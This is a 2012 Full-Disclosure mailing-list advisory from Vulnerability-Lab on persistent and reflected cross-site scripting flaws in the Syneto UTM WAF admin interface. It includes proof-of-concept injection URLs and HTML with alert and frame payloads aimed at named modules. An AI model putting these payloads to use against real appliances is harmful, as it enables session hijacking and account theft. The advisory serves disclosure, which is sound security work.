[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] Syneto UTM WAF v1.4.2 - Multiple Web Vulnerabilities
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Syneto UTM WAF v1.4.2 - Multiple Web Vulnerabilities
- From: "research@xxxxxxxxxxxxxxxxxxxxx" <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 20 Jan 2012 12:12:41 +0100
Title:
======
Syneto UTM WAF v1.4.2 - Multiple Web Vulnerabilities
Date:
=====
2012-01-20
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=373
VL-ID:
=====
373
Introduction:
=============
The Syneto UTM (Unified Threat Management) is a security appliance that
performs multiple functions and delivers
maximum protection against internet threats. It s a single device that has it
all: firewall, gateway antivirus
and anti-spam, VPN, content filter, multiple gateways and on-appliance
reporting. Syneto UTM was specifically
designed to easily be deployed and managed, supply top protection and save you
money.
(Copy of the Vendor Homepage: http://syneto.net/en/network-security/utm)
Abstract:
=========
A Vulnerability-Lab researcher discovered multiple web vulnerabilities on
Synetos Security UTM Application v1.4.x & v1.3.3 CE.
Report-Timeline:
================
2011-10-07: Vendor Notification
2012-**-**: Vendor Response/Feedback
2012-**-**: Vendor Fix/Patch
2012-01-20: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
1.1
Multiple persistent web vulnerabilities are detected on the Syneto Unified
Threat Management Security Appliance Application.
The vulnerability allows an privileged user account to inject malicious
persistent script code on application side(server).
Successful exploitation of the vulnerability can result in account steal,
persistent session hijacking via script code inject,
persistent external redirects, persistent context manipulation on requests &
persistent phishing.
Vulnerable Module(s):
[+] Reports => Executive Summery => Name Input
Fields & Output Listing Category
[+] EMail => Filter Add or Configure Edit
[+] EMail => Add Blacklist Rule & Add Whitelist
Rule
[+] EMail Settings - New Domain
Picture(s):
../1.png
../2.png
1.2
Multiple non-persistent cross site scripting vulnerabilities are detected on
the Syneto Unified Threat Management Security
Appliance Application. The vulnerability allows remote attacker to hijack
customer/admin sessions via client side cross site
scripting requests. Successful exploitation requires user inter action &
results in account steal via session hijacking.
Vulnerable Module(s):
[+] Index - Exception Handling
via Errors
[+] Index - Info Requests
Affected Version(s):
[+] Synetos Security UTM
Application v1.4.x & v1.3.3 Community Edition
Proof of Concept:
=================
The vulnerabilities can be exploited by privileged user accounts, lowviewers or
remote attackers with required user inter action.
For demonstration or reproduce ...
1.1.1
[+] Reports - Executive Summery - Output Listing Category
<tr id="list_1" class="tableRowEven">
<td class="status" valign="top" align="center">
<a href="#" title="Disable the reporting list" class="disableList"><img
src="img/enabled.gif"
title="disable" alt="disable" class="disable"></a>
<a style="display: none;" href="#" title="Enable the reporting list"
class="enableList">
<img src="img/disabled.gif" title="enable" alt="enable" class="enable"></a>
</td>
<td valign="top"> "><EXECUTION OF PERSISTENT SCRIPT CODE!>' <<="" td="">
<td valign="top" nowrap="nowrap">
<a href="#" id="list_1" class="editList"><img src="img/edit.gif" title="Edit"
alt="Edit"
/></a>
<a href="syneto.php?menuid=307&action=delete&id=1" class="deleteList"><
;img src="img/delete.gif" title="Delete" alt="Delete" /></a>
</td>
</tr>
</tbody>
</table>
</div>
Reference(s):
https://[SYNETO UTM SERVER].com/syneto.php?menuid=307
1.1.2
[+] EMail - Filter Add & Configure
<div>Sender = >"<EXECUTION OF PERSISTENT SCRIPT CODE!">.*</div>
<div>Receiver = .*</div>
<div>Subject = .*(SPAM|VIAGRA).*</div>
Reference(s):
https://[SYNETO UTM SERVER].com/syneto.php?menuid=63
1.1.3
[+] EMail Settings - New Domain
">
<table class="data" id="smtpDomainsList">
<thead>
<tr>
<th class="status">Status</th>
<th class="domain">Domain</th>
<th class="routing">Routing</th>
<th class="verify_sender">Verify sender</th>
<th class="qdm">Send digest</th>
<th class="actions">Actions</th>
</tr>
</thead>
<tbody>
<tr id="domain_3" class="tableRowEven editableDomain "><EXECUTION OF PERSISTENT
SCRIPt CODE!><td class="status">
<input name="active" value="1" type="hidden">
<input name="qdm_enabled" value="" type="hidden">
<input name="qdm_hours" value="23" type="hidden">
<input name="admin_email" value=""><script>EXECUTION OF PERSISTENT SCRIPt
CODE!</script>" type="hidden">
<input name="verify_peer" value="" type="hidden">
<input name="prefix_digest_links" value="" type="hidden"><EXECUTION OF
PERSISTENT SCRIPT CODE!>" />
<input name="verify_sender" value="" type="hidden">
<input name="verify_sender_network_name" value="" type="hidden"><input
name="qdm_exceptions" value="" type="hidden">
<input name="whitelist" value="" type="hidden">
<input name="blacklist" value="" type="hidden"><img class="clickable tooltip"
title="" src="img/enabled.gif">
</td>
<td class="domain">"><script>alert(vulnerabilitylab)</script></td>
Reference(s):
https://[SYNETO UTM SERVER].com/syneto.php?menuid=60
1.2
PoC:
https://[SYNETO UTM SERVER].com/index.php?error=need_login"'><frame
src=http://www.vulnerability-lab.com><hr>&from_menu=238
https://[SYNETO UTM
SERVER].com/index.php?info=%3Cimg%20src=%22%3Cimg%20src=search%22/onerror=alert(%22vulnerabilitylab%22)//%22%3E
Reference(s):
https://[SYNETO UTM SERVER].com/index.php?error=need_login"'>EXECUTION OF
PERSISTENT SCRIPT CODE!<hr>&from_menu=238
https://[SYNETO UTM SERVER].com/index.php?info=<EXECUTION OF PERSISTENT SCRIPT
CODE!>%20%3E
PoC Reference(s):
../Noname Syneto UTM.html
../syneto.php.htm
../syneto.php2.htm
../syneto.php3.htm
../syneto.php4.htm
Risk:
=====
1.1
The security risk of the persistent web vulnerabilities are estimated as
high(-).
1.2
The security risk of the non-persistent cross site scripting vulnerabilities
are estimated as low(+).
Credits:
========
Vulnerability Research Laboratory - Alexander Fuchs (F0x23) ; Ucha G.
(logrifle0x) & Benjamin Kunz Mejri (Rem0ve)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any
warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential
or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages,
of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright ©
2012|Vulnerability-Lab
--
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx or support@xxxxxxxxxxxxxxxxxxxxx
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/